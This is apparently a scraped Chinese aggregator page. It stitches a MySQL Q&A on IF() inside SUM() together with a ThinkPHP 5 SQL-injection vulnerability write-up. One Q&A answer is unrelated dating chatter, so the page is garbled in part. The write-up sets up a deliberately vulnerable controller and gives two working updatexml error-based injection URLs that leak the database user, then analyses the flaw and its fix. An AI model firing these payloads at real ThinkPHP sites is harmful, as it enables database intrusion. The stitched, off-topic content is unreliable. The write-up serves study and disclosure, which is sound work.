mysql 聚合函数相关问题

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mysql 聚合函数相关问题相关的知识,希望对你有一定的参考价值。

有一语句为select sum (If(score>90,score,0)) as――
请问这里socre,0的作用是?

if(x,y,z)

这个函数的三个参数本别为:

x是一个表达式,值为true或者false

y是一个值,如果x的值为true,则if(x,y,z)表达式的值就为y

z是一个值,如果x的值为false,则if(x,y,z)表达式的值就为z

用下面那个例子帮助你理解

希望能够帮到你,望采纳!

追问

也就是说相当于是一种检验是否有score与score>90这种结果存在的一种手段是吗?

追答

是的,相当于java代码中的 ?:运算符

参考技术A 分情况,1、当聚集函数和非聚集函数出现在一起时,需要将非聚集函数进行group by
2、当只做聚集函数查询时候,就不需要进行分组了。
希望对你有帮助追问

emmm您这是答非所问啊,我问得是这里语句中score>90后为什么要加“score,0”

您的意思是这个相当于group By的作用吗?

参考技术B 这个可能不算吧。不过男生会经常陪你什么的,是对你比较耐心了吧,而且我觉得男孩子会陪女朋友去买东西什么的,况且是买文具这种无聊的东西,不过说明爱你这个还真不知道。

ThinkPH5 SQL注入(Mysql 聚合函数)

漏洞概要

  • 本次漏洞存在于所有 Mysql 聚合函数相关方法,由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生
  • 漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25

初始配置

获取测试环境代码

composer create-project --prefer-dist topthink/think=5.1  tpH3rmesk1t

将 composer.json 文件的 require 字段设置成如下

"require": {
    "php": ">=5.6.0",
    "topthink/framework": "5.1.7"
}

然后执行 composer update

  • 下载后的源码中,需要对application/index/controller/Index.php内容进行修改
<?php
namespace app\\index\\controller;

class Index
{
    public function index()
    {
        $options = request()->get('options');
        $result = db('users')->max($options);
        var_dump($result);
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
    }
}

config/database.php文件中配置数据库相关信息,并开启config/app.php中的app_debug和app_trace,创建数据库信息如下

create database thinkphp;
use thinkphp;
create table users(
	id int primary key auto_increment,
	username varchar(50) not null,
);
insert into users(id,username) values(1,'H3rmesk1t');

漏洞利用

Payload

5.0.0~5.0.21 、 5.1.3~5.1.10
http://127.0.0.1/cms/public/index.php?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
5.1.11~5.1.25 
http://127.0.0.1/cms/public/index.php?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

漏洞分析

用户可控数据未经过滤,传入 Query 类的 max 方法进行聚合查询语句构造,接着调用本类的 aggregate 方法,本次漏洞问题正是发生在该函数底层代码中,所以所有调用该方法的聚合方法均存在 SQL 注入问题,我们看到 aggregate 方法又调用了 Mysql 类的 aggregate 方法,在该方法中,我们可以明显看到程序将用户可控变量 $field 经过 parseKey 方法处理后,与 SQL 语句进行了拼接

其余流程和之前的分析差不多,具体看看 parseKey 方法

parseKey 方法主要是对字段和表名进行处理,这里只是对我们的数据两端都添加了反引号,经过 parseKey 方法处理后,程序又回到了上图的 $this->value() 方法中,该方法会调用 Builder 类的 select 方法来构造 SQL 语句,这个方法应该说是在分析 ThinkPHP 漏洞时,非常常见的了,其无非就是使用 str_replace 方法,将变量替换到 SQL 语句模板中,这里重点关注 parseField 方法,因为用户可控数据存储在 $options['field'] 变量中并被传入该方法

进入 parseField 方法,我们发现用户可控数据只是经过 parseKey 方法处理,并不影响数据,然后直接用逗号拼接,最终直接替换进 SQL 语句模板里,导致 SQL注入漏洞 的发生

漏洞修复

官方的修复方法是:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常

攻击总结

参考Mochazz师傅的审计流程

以上是关于mysql 聚合函数相关问题的主要内容,如果未能解决你的问题,请参考以下文章

ThinkPH5 SQL注入(Mysql 聚合函数)

26《MySQL 教程》聚合函数(聚合函数 MIN、MAX)

mysql之聚合函数

MySQL 聚合函数聚合(组合)函数概述

MySQL窗口函数_聚合函数

MySQL函数的聚合函数